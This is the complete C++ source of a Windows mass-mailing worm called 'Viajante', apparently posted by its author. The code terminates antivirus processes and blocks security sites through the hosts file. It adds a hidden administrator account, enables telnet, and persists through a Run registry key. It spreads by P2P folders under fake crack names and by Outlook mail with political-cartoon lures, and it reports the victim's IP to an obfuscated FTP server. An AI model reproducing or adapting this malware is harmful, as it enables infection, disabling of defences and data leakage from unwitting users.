Viajante 
  by [01100001] 
  
/*
Name: Viajante
Author: [01100001] - Brazil
Date: 13/12/2005
Language: C++
*/
#include <Filectrl.hpp> //para fechar processos
#include <stdio.h>
#include <dos.h>
#include <string.h>
#include <stdlib.h>
#include <tlhelp32.h>   //para fechar processos
#include <dir.h>        //para pesquisar arquivos        
#include <io.h>
#include <windows.h>
#include "C:\\Arquivos de programas\\Borland\\CBuilder6\\Include\\Vcl\\shellapi.hpp"
#include <mapi.h>
#include <winsock.h>
#define INFORMACAO name: Viajante Author: [01100001] - Brazil
        void Bloquear_Dominios();
        char dir_sys_win[100],dir_win[100];     //Dir SYSTEM32 E WINDOWS
        String ip_net;                          //IP Internet
        String ip_anterior;                     //   ||        
        char login_desencriptado[21] = {0};     //encriptados
        char senha_desencriptada[19] = {0};     //   ||
        char login[21] = {99,51,35,114,82,64,20,2,76,70,78,0,73,18,91,5,93,70,84,108,59};
        char senha[21] = {102,33,53,115,82,77,18,30,68,2,8,23,74,18,95,16,86,63,59,97,49};
        char chave[21] = "ESTACIO_MERDA";                                   //chaves de encriptacao
        char chave_dupla[30] = "s32a1s23d132as1d321a1d3a1s32d1";            //         ||   
        char *arq_ftp;                          //arquivo a ser enviado(ftp)
        //Funcoes Rede
       // void Varre_Driver();
       // void Arq_Compartilhados( char *Driver, int tipo);
        //Funcoes EMail
        int Valida_EMail(char *endereco);
        void Bloquear_Dominios();
        //Vars EMail
        char *ptrEgo, *buf;
        char Lista_Enderecos[50][128];
        AnsiString ANEXOS[3] = {"Palocci_x_Lula.exe",
                        "Lula_FOME_0.exe",
                        "Lula_Mendigo.exe"};
        AnsiString ATTACHS[3] = {"Colloquy_funny_Bush_KimII_Sung.exe",
                          "frightful negotiation.exe",
                          "Animation_Flash_colloquy.exe"};
        char *arquivos =  __argv[0];                            //busca o arquivo a ser anexado, no caso o que esta sendo executado//se espalhar pelas unidades
        WIN32_FIND_DATA FileData;     //Data arquivo
        OSVERSIONINFO OsVer;          //Versao Windows
        //var SOCKET
        WSAData wsa;                     //inicia SOCKET
void Auto_Copiar()
{
        String arquivo_origem = __argv[ 0 ];                           //Busca caminho completo executado
        GetSystemDirectory((char *)dir_sys_win,100);                    //busca dir do SYSTEM32 do Windows
        strcat(dir_sys_win,"\\tasklists.exe");     //C:\\%WINDIR%\\SYSTEM32\\tasklists.exe
        CopyFile(arquivo_origem.c_str(),dir_sys_win,false);     //se auto copia para SYSTEM32
        SetFileAttributes( dir_sys_win,FILE_ATTRIBUTE_HIDDEN);  //seta atributos para oculto
}
void Escreve_Registro()          //Funcao tratamento no registro
{
        HKEY chave;
        GetSystemDirectory((char *)dir_sys_win,100);                   //%WINDIR%//SYSTEM32 do Windows
        strcat(dir_sys_win,"\\tasklists.exe");                        //C:\\%WINDIR%\\SYSTEM32\\tasklists.exe
        RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", NULL, NULL, NULL, KEY_ALL_ACCESS, NULL, &chave, NULL);           //Cria Chave
        RegSetValueEx(chave,"Tasklists", 0, REG_SZ, (const BYTE*)dir_sys_win, sizeof(dir_sys_win));                                                                            //Seta valores para chave
        RegCloseKey(chave);
}
void Para_AV(char *AV)
{
        HANDLE proc_id;                                                    //ID do processo
        HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);   //Pega as heaps, modules, and threads do processo
        PROCESSENTRY32 processInfo;                                        //Lista para pegar numeros processos (modulo,tamanho,thread do determinado processo)
        do
        {
                if (strcmp(processInfo.szExeFile,AV)==0)   //compara se nome do processo é processo procurado
                {
                        proc_id = OpenProcess(PROCESS_TERMINATE,false,processInfo.th32ProcessID);   //abre o processo para termina-lo com a respectiva ID
                        if (proc_id != NULL)                             //Veirifica se achou mesmo
                        {
                                TerminateProcess(proc_id,0);             //termina o processo
                                CloseHandle(proc_id);                    //fecha o handle para esse processo
                        }
                }
       }
        while(Process32Next(hSnapShot,&processInfo) != false);          //enquanto nao acabar os processos ficar procurando
}
void Payloads()
{
        //var telnet e usuario
        HKEY chave;
        DWORD valor = 2;
        LONG  resultado;
        FILE *protesto;
        String msg_br = "UNIVERSIDADE ESTÁCIO DE SÁ - Brasil)\n\nVAI TOMAR NO CU E SE FODER OTÁRIOS, ODEIO VOCÊS\n... HAHAHA\n\n";
        String msg_us = "UNIVERSITY ESTÁCIO DE SÁ - Brazil)\n\nFUCK ITS SUCKERS, I HATE YOU... LOL";
        if( OsVer.dwPlatformId == 2 )    //É NT,2000,XP ou 2003 abrir telnet e adicionar usuario
        {
                resultado = RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\TlntSvr",0,KEY_ALL_ACCESS,&chave);     //Abre chave
                if( resultado == ERROR_SUCCESS )                                                                                         	//Verifica se achou
                {
                        RegSetValueEx(chave,"Start",0,REG_DWORD,(BYTE*)&valor,sizeof(valor));                                           			//Seta servico(telnet) para habilitado
                }
                RegCloseKey(chave);
                if( GetSystemDefaultLangID() == 0x0416 )               //Verifica se é Brasil
                {
                        GetSystemDirectory((char *)dir_sys_win,100);                    //busca dir do SYSTEM32 do Windows
                        WinExec(strcat(dir_sys_win,"\\net.exe user support viajante /add"),SW_HIDE);                    //adicionar user
                        GetSystemDirectory((char *)dir_sys_win,100);                                                    //limpa
                        WinExec(strcat(dir_sys_win,"\\net.exe localgroup Administradores support /add"),SW_HIDE);      //seta usuario para grupo ADM
                }
                else                                                    //outros paises
                {
                        GetSystemDirectory((char *)dir_sys_win,100);
                        WinExec(strcat(dir_sys_win,"\\net.exe user support viajante /add"),SW_HIDE);
                        GetSystemDirectory((char *)dir_sys_win,100);
                        WinExec(strcat(dir_sys_win,"\\net.exe localgroup Administrators support /add"),SW_HIDE);
                }
       }
       if( GetSystemDefaultLangID() == 0x0416 ) //Brasil ?
        {
                if( OsVer.dwPlatformId == 2 )     //É NT,2000,XP ou 2003
                {
                        if( (DirectoryExists("C:\\Documents and Settings\\All Users\\Desktop") == true) || (DirectoryExists("D:\\Documents and Settings\\All Users\\Desktop")) )
                        {
                                protesto = fopen("C:\\Documents and Settings\\All Users\\Desktop\\Protesto!!!.txt","w");
                                if( protesto != NULL )
                                {
                                        fputs(msg_br.c_str(),protesto);
                                }
                                fclose(protesto);
                        }
                      Bloquear_Dominios();
                }
                else
                {
                        if( (DirectoryExists("C:\\WINDOWS\\Desktop") == true) || (DirectoryExists("D:\\WINDOWS\\Desktop") == true) )
                        {
                                protesto = fopen("C:\\WINDOWS\\Desktop\\Protesto!!!.txt","w");
                                if( protesto != NULL )
                                {
                                        fputs(msg_br.c_str(),protesto);
                                }
                                fclose(protesto);
                        }
                }
         }
         else      //caso seja gringo
         {
                if( OsVer.dwPlatformId == 2 )     //É NT,2000,XP ou 2003
                {
                        if( (DirectoryExists("C:\\Documents and Settings\\All Users\\Desktop") == true) || (DirectoryExists("D:\\Documents and Settings\\All Users\\Desktop")) )
                        {
                                protesto = fopen("C:\\Documents and Settings\\All Users\\Desktop\\Protest!!!.txt","w");
                                if( protesto != NULL )
                                {
                                        fputs(msg_us.c_str(),protesto);
                                }
                                fclose(protesto);
                        }
                }
                else
                {
                        if( (DirectoryExists("C:\\WINDOWS\\Desktop") == true) || (DirectoryExists("D:\\WINDOWS\\Desktop") == true) )
                        {
                                protesto = fopen("C:\\WINDOWS\\Desktop\\Protest!!!.txt","w");
                                if( protesto != NULL )
                                {
                                        fputs(msg_us.c_str(),protesto);
                                }
                                fclose(protesto);
                        }
                }
         }
         
}
void P2P()
{
        String Arquivos[6] =                                  //possiveis nomes para se espalhar
        {"\\SerialKey_Counter-Striker_CZ.exe",
        "\\Crack_Norton2005.exe",
        "\\Crack_Microsoft-Office_XP.exe",
        "\\Crack_Doom3.exe",
        "\\Crack_Windows_Vista.exe",
        "\\Crack_GTA_SanAndreas.exe"};
        int i;
        String origem = __argv[ 0 ];                    //dir atual do arquivo
        String  dirp2p,nomep2p;
        for(i = 0; i <= 6;i++)                          //Loop para criacao dos arquivos
        {
                if( (DirectoryExists("C:\\Arquivos de programas\\Shareaza\\") == true ) || (DirectoryExists("C:\\Program Files\\Shareaza\\") == true) )
                {
                        dirp2p = "C:\\Arquivos de programas\\Shareaza\\Downloads\\1.exe";                                       //dir destino do p2p
                        nomep2p = "C:\\Arquivos de programas\\Shareaza\\Downloads" + Arquivos[i];                               //dir + nome do arquivo criado
                        CopyFile(origem.c_str(),dirp2p.c_str(),false);                                                                  //copia para dir do p2p
                        RenameFile(dirp2p.c_str(),nomep2p);                                                                             //renomeia o arquivo para compartilhar
                        DeleteFile(dirp2p);                                                                                             //deleta o programa original no dir do p2p
                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);                                //oculto o arquivo criado
                        dirp2p = NULL;                                                                                                   //0 variaveis
                        nomep2p = NULL;
                        dirp2p = "C:\\Program Files\\Shareaza\\Downloads\\1.exe";                                               // prepara caso o SO seja em ingles
                        nomep2p = "C:\\Program Files\\Shareaza\\Downloads" + Arquivos[i];                                              //
                                                                                                                                       //
                        CopyFile(origem.c_str(),dirp2p.c_str(),false);                                                                 //
                                                                                                                                       //
                        RenameFile(dirp2p.c_str(),nomep2p);                                                                            //
                                                                                                                                       //
                        DeleteFile(dirp2p);
                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);                                                                                            //
                                                                                                                                       //
                }                                                                                                                      //
                if( (DirectoryExists("C:\\Arquivos de programas\\eMule\\") == true ) || (DirectoryExists("C:\\Program Files\\eMule\\") == true ) )
                {
                        dirp2p = NULL;                                                                                                 //0 variaveis
                        nomep2p = NULL;
                        dirp2p = "C:\\Arquivos de programas\\eMule\\\Incoming\\2.exe";
                        nomep2p = "C:\\Arquivos de programas\\eMule\\\Incoming" + Arquivos[i];
                        CopyFile(origem.c_str(),dirp2p.c_str(),false);
                        RenameFile(dirp2p.c_str(),nomep2p);
                        DeleteFile(dirp2p);
                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);
                        dirp2p = NULL;
                        nomep2p = NULL;
                        dirp2p = "C:\\Program Files\\eMule\\\Incoming\\2.exe";
                        nomep2p = "C:\\Program Files\\eMule\\\Incoming" + Arquivos[i];
                        CopyFile(origem.c_str(),dirp2p.c_str(),false);
                        RenameFile(dirp2p.c_str(),nomep2p);
                        DeleteFile(dirp2p);
                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);
                }
                if( (DirectoryExists("C:\\Arquivos de programas\\Kazaa Lite K++\\") == true ) || (DirectoryExists("C:\\Program Files\\Kazaa Lite K++\\") == true)
                    || (DirectoryExists("C:\\Arquivos de programas\\Kazaa Lite Resurrection\\") == true ) || (DirectoryExists("C:\\Program Files\\Kazaa Lite Resurrection\\") == true) )
                {
                        dirp2p = NULL;                                                                                                   //0 variaveis
                        nomep2p = NULL;
                        dirp2p = "C:\\My Shared Folder\\3.exe";
                        nomep2p = "C:\\My Shared Folder" + Arquivos[i];
                        CopyFile(origem.c_str(),dirp2p.c_str(),false);
                        RenameFile(dirp2p.c_str(),nomep2p);
                        DeleteFile(dirp2p);
                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);
                }
                if( (DirectoryExists("C:\\Arquivos de programas\\KaZaA\\My Shared Folder\\") == true) || (DirectoryExists("C:\\Program files\\KaZaA\\My Shared Folder") == true)  )
                {
                        dirp2p = NULL;                                                                                                   //0 variaveis
                        nomep2p = NULL;
                        dirp2p = "C:\\Arquivos de programas\\KaZaA\\My Shared Folder\\4.exe";
                        nomep2p = "C:\\Arquivos de programas\\KaZaA\\My Shared Folder" + Arquivos[i];
                        CopyFile(origem.c_str(),dirp2p.c_str(),false);
                        RenameFile(dirp2p.c_str(),nomep2p);
                        DeleteFile(dirp2p);
                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);
                        dirp2p = NULL;
                        nomep2p = NULL;
                        dirp2p = "C:\\Program Files\\KaZaA\\My Shared Folder\\4.exe";
                        nomep2p = "C:\\Program Files\\KaZaA\\My Shared Folder\\" + Arquivos[i];
                        CopyFile(origem.c_str(),dirp2p.c_str(),false);
                        RenameFile(dirp2p.c_str(),nomep2p);
                        DeleteFile(dirp2p);
                        SetFileAttributes(nomep2p.c_str(),FILE_ATTRIBUTE_HIDDEN);
                }
        }
                SetFileAttributes(__argv[ 0 ],FILE_ATTRIBUTE_NORMAL);           //Seta o executavel para Normal
}
int Outlook()
{
        HINSTANCE hi;
        LPMAPILOGON MAPILogon;
        LPMAPIFINDNEXT MAPIFindNext;
        LPMAPIREADMAIL MAPIReadMail;
        LPMAPISENDMAIL MAPISendMail;
        LPMAPILOGOFF MAPILogoff;
        LHANDLE Sessao;
        CHAR rgchMsgID[513];
        MapiMessage *Mensagem;
        int i=0;
       
        SYSTEMTIME systime;                     //Var para dias da semana
        GetSystemTime(&systime);                //para buscar o dia corrente(hoje)
        FILE *lista;
        char emails[1000];
       
        hi = LoadLibrary( "mapi32.dll" );               //Carrega dll na memoria
        if( hi == NULL )                               //senao carregou a dll
        {
                return -1;
        }
        MAPILogon = (LPMAPILOGON)GetProcAddress( hi, "MAPILogon");                   //pega enderecos das APIs MAPI
        MAPIFindNext = (LPMAPIFINDNEXT)GetProcAddress( hi, "MAPIFindNext");
        MAPIReadMail = (LPMAPIREADMAIL)GetProcAddress( hi, "MAPIReadMail");
        MAPISendMail = (LPMAPISENDMAIL)GetProcAddress( hi, "MAPISendMail");
        MAPILogoff = (LPMAPILOGOFF)GetProcAddress( hi,"MAPILogoff");
        if( MAPILogon == NULL || MAPIFindNext == NULL || MAPIReadMail == NULL || MAPISendMail == NULL )   //Verifica se achou msg e se esta tudo OK
        {
                return -1;
        }
        if( MAPILogon( 0, NULL, NULL, 0, 0, &Sessao) == SUCCESS_SUCCESS)               //Se conseguiu logar
        {
                *rgchMsgID = NULL;
                  while( i < 50 )                    //Varre em busca de msg recebidas
                  {
                         if( MAPIFindNext( Sessao, 0L, NULL, rgchMsgID, MAPI_LONG_MSGID, 0L, rgchMsgID) != SUCCESS_SUCCESS)   //proxima msg
                         {
                                 break;
                         }
                         if( MAPIReadMail( Sessao, 0L, rgchMsgID, MAPI_PEEK, 0L, &Mensagem) == SUCCESS_SUCCESS)                 //le o email destino para host
                         {
                                if( Valida_EMail( Mensagem->lpOriginator->lpszAddress) == 0 )                                  //verifica se achou a msg mesmo
                                {
                                        strcpy( Lista_Enderecos[i], Mensagem->lpOriginator->lpszAddress);                       //concatena a lista de email para a lista_enderecos[i]
                                        i++;
                                }
                         }
                  }
                  MAPIFreeBuffer( Mensagem );                     //limpa o buffer da leitura
                  int recipNum = i;
                  MapiRecipDesc *recip  = (MapiRecipDesc *)malloc( recipNum*sizeof(MapiRecipDesc) );     //corpo da msg
                  for( int i=0 ; i<recipNum ; i++ )                        //montando a msg email origem, email dest...
                  {
                        recip[i].ulReserved   = 0;
                        recip[i].ulRecipClass = MAPI_TO;
                        recip[i].lpszName     = Lista_Enderecos[i];
                        recip[i].lpszAddress  = Lista_Enderecos[i];
                        recip[i].ulEIDSize    = 0;
                        recip[i].lpEntryID    = NULL;
                  }
                  if( GetSystemDefaultLangID() == 0x0416 )               //Verifica se é Brasil
                  {
                        if ( (systime.wDayOfWeek == 0) || (systime.wDayOfWeek == 1) )   //caso seja domingo ou segunda
                        {
                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ANEXOS[0].c_str() , NULL};      //anexa o arq
                                MapiMessage corpo_msg = { 0, "Charge Palocci x Lula","Ola tudo bem? Estou te enviando uma charge que recebi de um amigo da CPI que envolve o Palocci e o Lula discutindo, Abraços.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};      //corpo da msg em si
                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )     //envia o email
                                {
                                        return -1;
                                }
                        }
                        if( (systime.wDayOfWeek == 2) || (systime.wDayOfWeek == 3) )    //caso seja terca ou quarta
                        {
                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ANEXOS[1].c_str() , NULL};
                                MapiMessage corpo_msg = { 0, "Lula no FOME 0... morri de rir", "Ola tudo bem? Estou te enviando uma charge em que o o Lula mostra como acabar com a fome no Brasil, muito interessante , Abraços.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};
                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )
                                {
                                        return -1;
                                }
                        }
                        if( (systime.wDayOfWeek == 4)  || (systime.wDayOfWeek == 5) || (systime.wDayOfWeek == 6) )  //caso seja quinta,sexta ou sabado
                        {
                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ANEXOS[2].c_str() , NULL};
                                MapiMessage corpo_msg = { 0, "Charge Lula na corda bamba", "Ola tudo bem? Estou te enviando uma charge da situação atual do governo em que o próprio Lula vira mendigo..., Abraços.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};
                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )
                                {
                                        return -1;
                                }
                        }
                  }
                  else     //caso seja outro pais
                  {
                        if ( (systime.wDayOfWeek == 0) || (systime.wDayOfWeek == 1) )   //caso seja domingo ou segunda
                        {
                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ATTACHS[0].c_str() , NULL};      //anexa o arq
                                MapiMessage corpo_msg = { 0, "Colloquy funny between Bush e President Korea of the North", "Hey how are you friend? I am sending a animation funny of one colloquy funny negotiation between Bush and Kim II Sung! hugs friend.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};      //corpo da msg em si
                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )     //envia o email
                                {
                                        return -1;
                                }
                        }
                        if ( (systime.wDayOfWeek == 2) || (systime.wDayOfWeek == 3) )   //caso seja terca ou quarta
                        {
                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ATTACHS[1].c_str() , NULL};      //anexa o arq
                                MapiMessage corpo_msg = { 0, "War beetwen Korea of the North and EUA", "Hey how are you friend? Hey how are you friend? Hi, it sees stretch of this frightful negotiation! hugs friend.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};      //corpo da msg em si
                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )     //envia o email
                                {
                                        return -1;
                                }
                        }
                        if ( (systime.wDayOfWeek == 4) || (systime.wDayOfWeek == 5) || (systime.wDayOfWeek == 6) )   //caso seja quinta, sexta ou sabado
                        {
                                MapiFileDesc arq_anexado = { 0, 0, (ULONG)-1, arquivos , ATTACHS[2].c_str() , NULL};      //anexa o arq
                                MapiMessage corpo_msg = { 0, "Animation Colloquy Bush and Kim II Sung ", "Hey how are you friend? Hi, I received this animation in flash from a colloquy between Bush and Kim II-Sung(President Korea of the north),I wait that it likes! hugs friend.", NULL, NULL, NULL, 0, NULL, recipNum, recip, 1, &arq_anexado};      //corpo da msg em si
                                if( MAPISendMail( Sessao, 0L, &corpo_msg, 0L, 0L) != SUCCESS_SUCCESS )     //envia o email
                                {
                                        return -1;
                                }
                        }
                  }
                  free( recip );      //retira da memoria o corpo da msg montada
                 MAPILogoff( Sessao, 0L, 0L, 0L);              //efetua logoff do MAPI
        }
                return 0;
}
int Valida_EMail(char *endereco)
{
        if( strlen( endereco ) >= 128 || strlen( endereco ) == 0)
        {
                return -1;
        }
        else
        {
                if( strchr( endereco , '@') == NULL )
                {
                        return -1;
                }
                else
                {
                        if( strchr( endereco , '.') == NULL )
                        {
                                return -1;
                        }
                        else
                        {
                                return 0;
                        }
                }
        }
}
void ftp()
{
        FILE *IP;
        SOCKADDR_IN ServerFTP;
        SOCKET Socket;
        char servidor_encriptado[17] = {80,20,22,14,19,84,26,9,69,18,8,4,69,93,82,11,94};
        char servidor_desencriptado[17] = {0};
        //decripta
        for(int i = 0; i < 17; i++)
        {
              servidor_desencriptado[i] = chave_dupla[i] ^ chave[i] ^ servidor_encriptado[i];
        }
        int Retorno;                                            // Armazena o retorno
        if((IP=fopen(dir_sys_win,"wt")) != NULL)                    //verificacao na criacao do arq
        {
                fprintf(IP,"%s","viajante...rs");                   //escreve
                fclose(IP);
                SetFileAttributes(dir_sys_win,FILE_ATTRIBUTE_HIDDEN);   //seta como oculto
                WSAStartup(0x101, &wsa);        //inicia a biblioteca socket
                ServerFTP.sin_family = AF_INET;                              //protocolo padrao
                ServerFTP.sin_port = htons(21);                              //porta
                hostent *Host=gethostbyname(servidor_desencriptado);         //busca endereco(ftp.angelfire.com)
                ServerFTP.sin_addr.s_addr = *((unsigned long *) Host->h_addr);      //endereco a IP a conectar
                Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);          //cria socket
                Retorno = connect(Socket,(sockaddr *)&ServerFTP,sizeof(ServerFTP));    //conecta ao servidor
                if( Retorno == 0 )                                      //verifica se conectou
                {
                        send(Socket,login_desencriptado,strlen(login_desencriptado),0);     //user
                        send(Socket,senha_desencriptada,strlen(senha_desencriptada),0);      //password
                        send(Socket,"PASV\r\n",strlen("PASV\r\n"),0);                //modo passivo
                        send(Socket,"TYPE A\r\n",strlen("TYPE A\r\n"),0);           //para arquivos ASCII
                        send(Socket,arq_ftp,strlen(arq_ftp),0);                     //envia  o arquivo
                        send(Socket,"QUIT\r\n",strlen("QUIT\r\n"),0);               //fechar conexao
                 
                }
                closesocket(Socket);                                                         //fecha socket
                WSACleanup();                                                                  //destroi socket
                DeleteFile(dir_sys_win);                                                        //apaga para nao deixar lixo no system32
        }
}
/*
void Varre_Driver()
{
        int tamanho;
        char buff[128];
        char *ptr;
        ptr = buff;
        tamanho = GetLogicalDriveStrings( 128, ptr);            //Busca os drivers presentes
        if( (tamanho > 0) && (tamanho < 128) )
        {
            for( int i=0 ; i<= 25 ; i++ )                       //varre por 25 drivers
            {
                    switch( GetDriveType( ptr ) )                 //procura se o driver é local ou remoto
                    {
                        case DRIVE_FIXED:
                        Arq_Compartilhados(ptr,1);
                        break;
                        case DRIVE_REMOTE:                          //driver remoto
                                Arq_Compartilhados( ptr,1 );
                        break;
                        default:
                        break;
                    }                                           //Aponta para o proximo driver
                *ptr+=1;
            }
        }
      return;
}
void Arq_Compartilhados( char *Driver, int tipo)
{
        FILE *ArqAutorun;
        char buff[128];
        if( tipo == 1)                                          //caso o driver seja local
        {
                sprintf(buff,"%s%s",Driver,"viajante.exe");
        }
        else
        {                                                              //seja remoto
                sprintf(buff,"%s\\%s", Driver,"viajante.exe");
        }
        if( CopyFile( arquivos, buff, FALSE) == TRUE && tipo == 1 )                 //auto copiar para a unidade
        {
                 _rtl_chmod(buff, 1, FA_HIDDEN | FA_RDONLY);                         //oculta arquivo de auto copia
                 sprintf( buff, "%sAutorun.inf", Driver);                            //cria arquivo *.inf
                 ArqAutorun = fopen(buff, "w");                                      //Abre para escrever
                   if( ArqAutorun != NULL )
                   {
                        fprintf( ArqAutorun, "[Autorun]\nOPEN=%s\n","viajante.exe");           //escreve no *.inf
                        fclose( ArqAutorun );
                        _rtl_chmod(buff, 1, FA_HIDDEN | FA_RDONLY);                           //oculta *.inf
                   }
       }
        return;
} */
void Bloquear_Dominios()
{
    char *sites[] =
    {
    "www.antivirus.com",
    "www.claymania.com",
    "www.free-av.com",
    "www.bitdefender.com",
    "www.commandcom.com",
    "www.dials.ru",
    "www1.my-etrust.com",
    "www.f-prot.com",
    "www.avg.com.br",
    "www.avg.com",
    "www.avast.com",
    "www.f-secure.com",
    "www.grisoft.com",
    "antivirus.cai.com",
    "www.avp.ru",
    "www.nai.com",
    "www.nod32.com.au",
    "www.norman.com",
    "www.symantec.com",
    "www.symantec.com.br",
    "www.pandasoftware.com",
    "www.pandasoftware.com.br",
    "www.pandasoftware.es",
    "www.sophos.com",
    "www.trend.com",
    "www.commandondemand.com",
    "www.dialognauka.ru",
    "www.veloz.com",
    "support.ikarus.at",
    "www.kaspersky.com",
    "www.hauri.net",
    "antivirus.mafia.ru",
    "www.mcafee.com",
    "www.mcafee.com.br",
    "www.webimmune.net",
    "www.pandasoftware.com",
    "www.pcpitstop.com",
    "www.ravantivirus.com",
    "security1.norton.com",
    "housecall.antivirus.com",
    "www.freedom.net",
    "www.invircible.com",
    "www.orkut.com",
    "www.google.com",
    "www.google.com.br"
    };
    char str[MAX_PATH];
    FILE *hosts;
    if( OsVer.dwPlatformId == 2 )   //caso seja NT/2000/XP/2003
    {
        GetSystemDirectory((char *)dir_sys_win,100);     //%WINDIR%/System32
        strcat(dir_sys_win,"\\drivers\\etc\\hosts");
        hosts = fopen(dir_sys_win , "w");
        if( hosts != NULL )
        {
                fputs("127.0.0.1 localhost\n", hosts);
                for (int n = 0; n <= 45; n++)
                {
                        wsprintf(str, "0.0.0.0 %s\n", sites[n]);      //Preenche o arquivos com a lista de sites com IPS 0s
                        fputs(str, hosts);
                }
                fclose(hosts);
        }
    }
    else
    {
        GetWindowsDirectory((char *)dir_win,100);
        strcat(dir_win,"\\hosts");
        hosts = fopen(dir_win,"w");
        if( hosts != NULL )
        {
                fputs("127.0.0.1 localhost\n", hosts);
                for (int n = 0; n <= 42; n++)
                {
                        wsprintf(str, "0.0.0.0 %s\n", sites[n]);
                        fputs(str, hosts);
                }
                fclose(hosts);
        }
     }
}
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)        //funcao de janelas WIN32 GUI(para esconder aplicacao)
{
                //var SOCKET
                hostent *IP;
                char nome[256];
                String ip_anterior;
                OsVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);          //Obter tamanho da estrutura
                GetVersionEx(&OsVer);                                       //chama funcao
              //          Sleep(20000);                                           //Dorme 15s para espera do carregamento dos AVs.. hehehe
                        Para_AV("avgcc.exe");
                        Para_AV("navapw.exe");
                        Para_AV("navapw32.exe");
                        Para_AV("navapsvc.exe");
                        Para_AV("scan32.exe");
                        Para_AV("VPTray.exe");
                        Para_AV("ashwebsv.exe");
                        Para_AV("avp32.exe");
                        Para_AV("avpcc.exe");
                        Para_AV("avpm.exe");
                        Para_AV("Zonealarm.exe");
                        Para_AV("Wfindv32.exe");
                        Para_AV("Webscanx.exe");
                        Para_AV("Pccwin98.exe");
                        Para_AV("Pavw.exe");
                        Para_AV("Pavsched.exe");
                        Para_AV("Pavcl.exe");
                        Para_AV("Padmin.exe");
                        Para_AV("kav.exe");
                        Para_AV("kavsvc.exe");
                     //      Escreve_Registro();
                     //      Auto_Copiar();
                     //      Payloads();
                    //       P2P();
                           Outlook();
                       //    Varre_Driver();
                //decripta
                for(int i = 0; i < 21; i++)
                {
                        login_desencriptado[i] = chave_dupla[i] ^ chave[i] ^ login[i];
                }
                for(int i = 0 ; i < 19; i++)
                {
                        senha_desencriptada[i] = chave_dupla[i] ^ chave[i] ^ senha[i];
                }
                if( (FileExists("C:\\WINDOWS\\viajante.exe") != true) || (FileExists("D:\\WINDOWS\\viajante.exe") != true) )
                {
                        if( OsVer.dwPlatformId == 1 )         //Verifica se é win 9X e ME
                        {
                                RenameFile("C:\\WINDOWS\\regedit.exe","C:\\WINDOWS\\viajante.exe");      //para nao editar mais o registro...rs
                                RenameFile("D:\\WINDOWS\\regedit.exe","D:\\WINDOWS\\viajante.exe");
                        }
                }
                for(;;)                 //loop infinito sempre varrendo em busca do IP na net
                {
                        Sleep(300000);      //dorme por 5 minutos
                        WSAStartup(0x101, &wsa);          // inicia winsock
                        gethostname(nome,sizeof(nome));   // nome do PC
                        IP = gethostbyname(nome);         // atribui a variavel
                        for (int i=0;IP->h_addr_list[i];i++)                        // IP da internet
                        {
                                ip_net = inet_ntoa(*((in_addr *)IP->h_addr_list[i]));
                        }
                        WSACleanup();       // Fecha winsock
                        if(ip_net != "127.0.0.1" && ip_net != ip_anterior)      //mandar e-email caso o IP seja diferente e ligado a NET
                        {
                                ip_anterior = ip_net;                           //colocar novo IP num vartmp
                                GetSystemDirectory((char *)dir_sys_win,100);                  //busca %WINDIR/SYSTEM32
                                strcat(dir_sys_win,"\\");                                     //concatena  %WINDIR/SYSTEM32 '//'
                                strcat(dir_sys_win,ip_net.c_str());                          //da nome ao arquivo(IP)
                                strcat(dir_sys_win,".txt");                                  //seta extensao .txt
                                DeleteFile(dir_sys_win);                                     //deleta para recriar
                                strcat(ip_anterior.c_str(),".txt\r\n");              //seta extensao para o arquivo a ser enviado
                                arq_ftp = strcat("STOR ",ip_anterior.c_str());       //caminho completo do arquivo a ser enviado
                                ftp();
                        }
              }
}
  
   
  |